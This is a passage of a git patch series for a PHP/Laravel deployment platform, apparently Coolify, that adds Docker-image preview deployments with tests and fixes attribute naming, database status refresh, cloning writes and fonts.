($this->application->build_pack === 'dockerimage') { + $dockerRegistryImageTag = $this->application->previews() + ->where('pull_request_id', $pull_request_id) + ->value('docker_registry_image_tag'); + } + + $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: true, docker_registry_image_tag: $dockerRegistryImageTag); } - public function add_and_deploy(int $pull_request_id, ?string $pull_request_html_url = null) + public function add_and_deploy(int $pull_request_id, ?string $pull_request_html_url = null, ?string $docker_registry_image_tag = null) { $this->authorize('deploy', $this->application); - $this->add($pull_request_id, $pull_request_html_url); - $this->deploy($pull_request_id, $pull_request_html_url); + $this->add($pull_request_id, $pull_request_html_url, $docker_registry_image_tag); + $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: false, docker_registry_image_tag: $docker_registry_image_tag); } - public function deploy(int $pull_request_id, ?string $pull_request_html_url = null, bool $force_rebuild = false) + public function deploy(int $pull_request_id, ?string $pull_request_html_url = null, bool $force_rebuild = false, ?string $docker_registry_image_tag = null) { $this->authorize('deploy', $this->application); try { $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); - if (! $found && ! is_null($pull_request_html_url)) { - ApplicationPreview::forceCreate([ + if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, - 'pull_request_html_url' => $pull_request_html_url, + 'pull_request_html_url' => $pull_request_html_url ?? '', + 'docker_registry_image_tag' => $docker_registry_image_tag, ]); } + if ($found && $this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()) { + $found->docker_registry_image_tag = $docker_registry_image_tag; + $found->save(); + } $result = queue_application_deployment( application: $this->application, deployment_uuid: $this->deployment_uuid, force_rebuild: $force_rebuild, pull_request_id: $pull_request_id, git_type: $found->git_type ?? null, + docker_registry_image_tag: $docker_registry_image_tag, ); if ($result['status'] === 'queue_full') { $this->dispatch('error', 'Deployment queue full', $result['message']); @@ -277,6 +309,32 @@ protected function setDeploymentUuid() $this->parameters['deployment_uuid'] = $this->deployment_uuid; } + public function addDockerImagePreview() + { + $this->authorize('deploy', $this->application); + $this->validateOnly('manualPullRequestId'); + $this->validateOnly('manualDockerTag'); + + if ($this->application->build_pack !== 'dockerimage') { + $this->dispatch('error', 'Manual Docker Image previews are only available for Docker Image applications.'); + + return; + } + + if ($this->manualPullRequestId === null || str($this->manualDockerTag)->isEmpty()) { + $this->dispatch('error', 'Both pull request id and docker tag are required.'); + + return; + } + + $dockerTag = str($this->manualDockerTag)->trim()->value(); + + $this->add_and_deploy($this->manualPullRequestId, null, $dockerTag); + + $this->manualPullRequestId = null; + $this->manualDockerTag = null; + } + private function stopContainers(array $containers, $server) { $containersToStop = collect($containers)->pluck('Names')->toArray(); diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 3b33b1b67..21cb58abe 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -16,6 +16,7 @@ 'application_id' => ['type' => 'string'], 'deployment_uuid' => ['type' => 'string'], 'pull_request_id' => ['type' => 'integer'], + 'docker_registry_image_tag' => ['type' => 'string', 'nullable' => true], 'force_rebuild' => ['type' => 'boolean'], 'commit' => ['type' => 'string'], 'status' => ['type' => 'string'], @@ -67,6 +68,7 @@ class ApplicationDeploymentQueue extends Model ]; protected $casts = [ + 'pull_request_id' => 'integer', 'finished_at' => 'datetime', ]; diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index 8dd6da074..818f96d8e 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -11,6 +11,7 @@ class ApplicationPreview extends BaseModel use SoftDeletes; protected $fillable = [ + 'application_id', 'pull_request_id', 'pull_request_html_url', 'pull_request_issue_comment_id', @@ -18,9 +19,14 @@ class ApplicationPreview extends BaseModel 'status', 'git_type', 'docker_compose_domains', + 'docker_registry_image_tag', 'last_online_at', ]; + protected $casts = [ + 'pull_request_id' => 'integer', + ]; + protected static function booted() { static::forceDeleting(function ($preview) { diff --git a/app/Models/DockerCleanupExecution.php b/app/Models/DockerCleanupExecution.php index 162913b3e..280277951 100644 --- a/app/Models/DockerCleanupExecution.php +++ b/app/Models/DockerCleanupExecution.php @@ -7,6 +7,7 @@ class DockerCleanupExecution extends BaseModel { protected $fillable = [ + 'server_id', 'status', 'message', 'cleanup_log', diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index 4af6ac90a..ceae64d84 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -12,7 +12,7 @@ use Spatie\Url\Url; use Visus\Cuid2\Cuid2; -function queue_application_deployment(Application $application, string $deployment_uuid, ?int $pull_request_id = 0, string $commit = 'HEAD', bool $force_rebuild = false, bool $is_webhook = false, bool $is_api = false, bool $restart_only = false, ?string $git_type = null, bool $no_questions_asked = false, ?Server $server = null, ?StandaloneDocker $destination = null, bool $only_this_server = false, bool $rollback = false) +function queue_application_deployment(Application $application, string $deployment_uuid, ?int $pull_request_id = 0, string $commit = 'HEAD', bool $force_rebuild = false, bool $is_webhook = false, bool $is_api = false, bool $restart_only = false, ?string $git_type = null, bool $no_questions_asked = false, ?Server $server = null, ?StandaloneDocker $destination = null, bool $only_this_server = false, bool $rollback = false, ?string $docker_registry_image_tag = null) { $application_id = $application->id; $deployment_link = Url::fromString($application->link()."/deployment/{$deployment_uuid}"); @@ -47,6 +47,7 @@ function queue_application_deployment(Application $application, string $deployme $existing_deployment = ApplicationDeploymentQueue::where('application_id', $application_id) ->where('commit', $commit) ->where('pull_request_id', $pull_request_id) + ->where('docker_registry_image_tag', $docker_registry_image_tag) ->whereIn('status', [ApplicationDeploymentStatus::IN_PROGRESS->value, ApplicationDeploymentStatus::QUEUED->value]) ->first(); @@ -72,6 +73,7 @@ function queue_application_deployment(Application $application, string $deployme 'deployment_uuid' => $deployment_uuid, 'deployment_url' => $deployment_url, 'pull_request_id' => $pull_request_id, + 'docker_registry_image_tag' => $docker_registry_image_tag, 'force_rebuild' => $force_rebuild, 'is_webhook' => $is_webhook, 'is_api' => $is_api, diff --git a/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php b/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php new file mode 100644 index 000000000..2dafa2737 --- /dev/null +++ b/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php @@ -0,0 +1,30 @@ +string('docker_registry_image_tag')->nullable()->after('docker_compose_domains'); + }); + + Schema::table('application_deployment_queues', function (Blueprint $table) { + $table->string('docker_registry_image_tag')->nullable()->after('pull_request_id'); + }); + } + + public function down(): void + { + Schema::table('application_previews', function (Blueprint $table) { + $table->dropColumn('docker_registry_image_tag'); + }); + + Schema::table('application_deployment_queues', function (Blueprint $table) { + $table->dropColumn('docker_registry_image_tag'); + }); + } +}; diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 597bfa0a4..448fdabe9 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -46,7 +46,7 @@ href="{{ route('project.application.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Scheduled Tasks Webhooks - @if ($application->git_based()) + @if ($application->git_based() || $application->build_pack === 'dockerimage') Preview Deployments @endif diff --git a/resources/views/livewire/project/application/previews.blade.php b/resources/views/livewire/project/application/previews.blade.php index f0f5d0962..1ae86bf32 100644 --- a/resources/views/livewire/project/application/previews.blade.php +++ b/resources/views/livewire/project/application/previews.blade.php @@ -68,6 +68,20 @@ class="dark:text-warning">{{ $application->destination->server->name }}.< @endif
+ @if ($application->build_pack === 'dockerimage') +
+

Manual Preview Deployment

+
+ + + @can('deploy', $application) + Deploy Preview + @endcan + +
+ @endif @if ($application->previews->count() > 0)

Deployments

@@ -87,11 +101,13 @@ class="dark:text-warning">{{ $application->destination->server->name }}.< @endif - | - Open - PR on Git - - + @if (filled(data_get($preview, 'pull_request_html_url'))) + | + Open + PR on Git + + + @endif @if (count($parameters) > 0) |
+ @if ($application->build_pack === 'dockerimage') + + @endif @can('update', $application) Save Generate @@ -157,7 +177,8 @@ class="flex items-end gap-2 pt-4"> Force deploy (without cache) - + @if (data_get($preview, 'status') === 'exited') create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $execution = DockerCleanupExecution::create([ + 'server_id' => $server->id, + ]); + + expect($execution->server_id)->toBe($server->id); + $this->assertDatabaseHas('docker_cleanup_executions', [ + 'id' => $execution->id, + 'server_id' => $server->id, + ]); +}); + it('creates a failed execution record when server is not functional', function () { $user = User::factory()->create(); $team = $user->teams()->first(); diff --git a/tests/Feature/DockerImagePreviewDeploymentApiTest.php b/tests/Feature/DockerImagePreviewDeploymentApiTest.php new file mode 100644 index 000000000..75af6d9a6 --- /dev/null +++ b/tests/Feature/DockerImagePreviewDeploymentApiTest.php @@ -0,0 +1,146 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'test-token', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create([ + 'server_id' => $this->server->id, + 'network' => 'coolify-'.Str::lower(Str::random(8)), + ]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application +{ + return Application::factory()->create([ + 'uuid' => (string) Str::uuid(), + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'dockerimage', + 'docker_registry_image_name' => 'ghcr.io/coollabsio/example', + 'docker_registry_image_tag' => 'latest', + ]); +} + +test('it queues a docker image preview deployment and stores the preview tag', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 1234, + 'docker_tag' => 'pr_1234', + ]); + + $response->assertSuccessful(); + $response->assertJsonPath('deployments.0.resource_uuid', $application->uuid); + + $preview = ApplicationPreview::query() + ->where('application_id', $application->id) + ->where('pull_request_id', 1234) + ->first(); + + expect($preview)->not()->toBeNull(); + expect($preview->docker_registry_image_tag)->toBe('pr_1234'); + + $deployment = $application->deployment_queue()->latest('id')->first(); + + expect($deployment)->not()->toBeNull(); + expect($deployment->pull_request_id)->toBe(1234); + expect($deployment->docker_registry_image_tag)->toBe('pr_1234'); +}); + +test('it updates an existing docker image preview tag when redeploying through the api', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 99, + 'pull_request_html_url' => '', + 'docker_registry_image_tag' => 'pr_99_old', + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 99, + 'docker_tag' => 'pr_99_new', + 'force' => true, + ]); + + $response->assertSuccessful(); + + $preview = ApplicationPreview::query() + ->where('application_id', $application->id) + ->where('pull_request_id', 99) + ->first(); + + expect($preview->docker_registry_image_tag)->toBe('pr_99_new'); +}); + +test('it rejects docker_tag without pull_request_id', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'docker_tag' => 'pr_1234', + ]); + + $response->assertStatus(400); + $response->assertJson(['message' => 'docker_tag requires pull_request_id.']); +}); + +test('it rejects docker_tag for non docker image applications', function () { + $application = Application::factory()->create([ + 'uuid' => (string) Str::uuid(), + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'nixpacks', + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 7, + 'docker_tag' => 'pr_7', + ]); + + $response->assertSuccessful(); + $response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.'); +}); diff --git a/tests/Unit/DockerImagePreviewTagResolutionTest.php b/tests/Unit/DockerImagePreviewTagResolutionTest.php new file mode 100644 index 000000000..e6d0b6a4e --- /dev/null +++ b/tests/Unit/DockerImagePreviewTagResolutionTest.php @@ -0,0 +1,76 @@ +newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 42); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => 'latest', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, 'pr_42'); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('pr_42'); +}); + +it('falls back to the application docker image tag for non preview deployments', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 0); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => 'stable', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, 'pr_42'); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('stable'); +}); + +it('falls back to latest when neither preview nor application tags are set', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 7); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => '', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, null); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('latest'); +}); From 1497ad35a9497795d95cff1547dc4852b2b9941f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 30 Mar 2026 17:29:28 +0200 Subject: [PATCH 86/95] fix(models): use snake_case for Eloquent attribute access Update property access in database components and Application model to use snake_case conventions (common_name, subject_alternative_names) for Eloquent attributes. Also add null-safe operators (?->) for settings access in Application model to handle null values safely. --- app/Livewire/Project/Database/Dragonfly/General.php | 4 ++-- app/Livewire/Project/Database/Keydb/General.php | 4 ++-- app/Livewire/Project/Database/Redis/General.php | 4 ++-- app/Models/Application.php | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 0a1635fce..2e6c9dca7 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -278,8 +278,8 @@ public function regenerateSslCertificate() } SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index b6cc98176..235e34e20 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -283,8 +283,8 @@ public function regenerateSslCertificate() } SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 80a0b904c..e131bc598 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -296,8 +296,8 @@ public function regenerateSslCertificate() } SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Models/Application.php b/app/Models/Application.php index 018bfd421..bdc76eb33 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1136,7 +1136,7 @@ public function isLogDrainEnabled() public function isConfigurationChanged(bool $save = false) { - $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings->use_build_secrets.$this->settings->inject_build_args_to_dockerfile.$this->settings->include_source_commit_in_build); + $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings?->use_build_secrets.$this->settings?->inject_build_args_to_dockerfile.$this->settings?->include_source_commit_in_build); if ($this->pull_request_id === 0 || $this->pull_request_id === null) { $newConfigHash .= json_encode($this->environment_variables()->get(['value', 'is_multiline', 'is_literal', 'is_buildtime', 'is_runtime'])->sort()); } else { From 2692496726f59ae4535aa7c29abf4c9c2d91f5f2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 09:29:36 +0200 Subject: [PATCH 87/95] fix(database): refresh SSL/status state and harden clone writes Handle database status updates more reliably by listening for `ServiceChecked` and using explicit `refresh()` handlers in Livewire database components. Also switch guarded clone/create paths to `forceFill`/`forceCreate` in helper flows to avoid missing persisted attributes during app/service cloning. Update log/terminal font stacks to Geist (with bundled variable fonts) and add coverage for SSL status refresh, persistent volume UUID cloning, and log font styling. --- .../Project/Database/Dragonfly/General.php | 9 +- .../Project/Database/Keydb/General.php | 9 +- .../Project/Database/Mariadb/General.php | 4 +- .../Project/Database/Mongodb/General.php | 4 +- .../Project/Database/Mysql/General.php | 4 +- .../Project/Database/Postgresql/General.php | 10 ++- .../Project/Database/Redis/General.php | 4 +- bootstrap/helpers/applications.php | 15 ++-- bootstrap/helpers/shared.php | 8 +- openapi.json | 30 +++++++ openapi.yaml | 23 +++++ resources/css/app.css | 6 +- resources/css/fonts.css | 15 ++++ resources/fonts/geist-mono-variable.woff2 | Bin 0 -> 71136 bytes resources/fonts/geist-sans-variable.woff2 | Bin 0 -> 69684 bytes resources/js/terminal.js | 2 +- .../views/livewire/activity-monitor.blade.php | 2 +- .../application/deployment/show.blade.php | 4 +- .../project/shared/get-logs.blade.php | 4 +- .../docker-cleanup-executions.blade.php | 4 +- .../Feature/ClonePersistentVolumeUuidTest.php | 84 +++++++++++++++++- .../Feature/DatabaseSslStatusRefreshTest.php | 77 ++++++++++++++++ tests/Feature/LogFontStylingTest.php | 45 ++++++++++ tests/Unit/ServiceParserImageUpdateTest.php | 3 +- 24 files changed, 333 insertions(+), 33 deletions(-) create mode 100644 resources/fonts/geist-mono-variable.woff2 create mode 100644 resources/fonts/geist-sans-variable.woff2 create mode 100644 tests/Feature/DatabaseSslStatusRefreshTest.php create mode 100644 tests/Feature/LogFontStylingTest.php diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 591780cfb..5176f5ff9 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -57,7 +57,8 @@ public function getListeners() return [ "echo-private:team.{$teamId},DatabaseProxyStopped" => 'databaseProxyStopped', - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', + "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', + "echo-private:team.{$teamId},ServiceChecked" => 'refresh', ]; } @@ -299,4 +300,10 @@ public function regenerateSslCertificate() handleError($e, $this); } } + + public function refresh(): void + { + $this->database->refresh(); + $this->syncData(); + } } diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index 35799e55f..b50f196a8 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -59,7 +59,8 @@ public function getListeners() return [ "echo-private:team.{$teamId},DatabaseProxyStopped" => 'databaseProxyStopped', - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', + "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', + "echo-private:team.{$teamId},ServiceChecked" => 'refresh', ]; } @@ -304,4 +305,10 @@ public function regenerateSslCertificate() handleError($e, $this); } } + + public function refresh(): void + { + $this->database->refresh(); + $this->syncData(); + } } diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 5615765fd..9a1a8bd68 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -61,9 +61,11 @@ class General extends Component public function getListeners() { $userId = Auth::id(); + $teamId = Auth::user()->currentTeam()->id; return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', + "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', + "echo-private:team.{$teamId},ServiceChecked" => 'refresh', ]; } diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 0bc6d1e2f..a21de744a 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -61,9 +61,11 @@ class General extends Component public function getListeners() { $userId = Auth::id(); + $teamId = Auth::user()->currentTeam()->id; return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', + "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', + "echo-private:team.{$teamId},ServiceChecked" => 'refresh', ]; } diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index df244662e..cacb4ac49 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -63,9 +63,11 @@ class General extends Component public function getListeners() { $userId = Auth::id(); + $teamId = Auth::user()->currentTeam()->id; return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', + "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', + "echo-private:team.{$teamId},ServiceChecked" => 'refresh', ]; } diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index f862e0cc6..22e350683 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -71,9 +71,11 @@ class General extends Component public function getListeners() { $userId = Auth::id(); + $teamId = Auth::user()->currentTeam()->id; return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', + "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', + "echo-private:team.{$teamId},ServiceChecked" => 'refresh', 'save_init_script', 'delete_init_script', ]; @@ -488,4 +490,10 @@ public function submit() } } } + + public function refresh(): void + { + $this->database->refresh(); + $this->syncData(); + } } diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 2eec14c01..3c32a6192 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -59,9 +59,11 @@ class General extends Component public function getListeners() { $userId = Auth::id(); + $teamId = Auth::user()->currentTeam()->id; return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', + "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', + "echo-private:team.{$teamId},ServiceChecked" => 'refresh', 'envsUpdated' => 'refresh', ]; } diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index ceae64d84..e4feec692 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -237,10 +237,11 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'application_id' => $newApplication->id, ]); $newApplicationSettings->save(); + $newApplication->setRelation('settings', $newApplicationSettings->fresh()); } // Clone tags @@ -256,7 +257,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'application_id' => $newApplication->id, 'team_id' => currentTeam()->id, @@ -271,7 +272,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'application_id' => $newApplication->id, 'status' => 'exited', @@ -303,7 +304,7 @@ function clone_application(Application $source, $destination, array $overrides = 'created_at', 'updated_at', 'uuid', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $newApplication->id, ]); @@ -339,7 +340,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $newApplication->id, ]); $newStorage->save(); @@ -353,7 +354,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $newApplication->id, 'resourceable_type' => $newApplication->getMorphClass(), 'is_preview' => false, @@ -370,7 +371,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $newApplication->id, 'resourceable_type' => $newApplication->getMorphClass(), 'is_preview' => true, diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index cd773f6a9..a43f2e340 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -1919,7 +1919,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal // Create new serviceApplication or serviceDatabase if ($isDatabase) { if ($isNew) { - $savedService = ServiceDatabase::create([ + $savedService = ServiceDatabase::forceCreate([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, @@ -1930,7 +1930,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'service_id' => $resource->id, ])->first(); if (is_null($savedService)) { - $savedService = ServiceDatabase::create([ + $savedService = ServiceDatabase::forceCreate([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, @@ -1939,7 +1939,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } } else { if ($isNew) { - $savedService = ServiceApplication::create([ + $savedService = ServiceApplication::forceCreate([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, @@ -1950,7 +1950,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'service_id' => $resource->id, ])->first(); if (is_null($savedService)) { - $savedService = ServiceApplication::create([ + $savedService = ServiceApplication::forceCreate([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, diff --git a/openapi.json b/openapi.json index ed8decb48..239068300 100644 --- a/openapi.json +++ b/openapi.json @@ -4331,6 +4331,11 @@ "database_backup_retention_max_storage_s3": { "type": "integer", "description": "Max storage (MB) for S3 backups" + }, + "timeout": { + "type": "integer", + "description": "Backup job timeout in seconds (min: 60, max: 36000)", + "default": 3600 } }, "type": "object" @@ -4896,6 +4901,11 @@ "database_backup_retention_max_storage_s3": { "type": "integer", "description": "Max storage of the backup in S3" + }, + "timeout": { + "type": "integer", + "description": "Backup job timeout in seconds (min: 60, max: 36000)", + "default": 3600 } }, "type": "object" @@ -10451,6 +10461,26 @@ "none" ], "description": "The proxy type." + }, + "concurrent_builds": { + "type": "integer", + "description": "Number of concurrent builds." + }, + "dynamic_timeout": { + "type": "integer", + "description": "Deployment timeout in seconds." + }, + "deployment_queue_limit": { + "type": "integer", + "description": 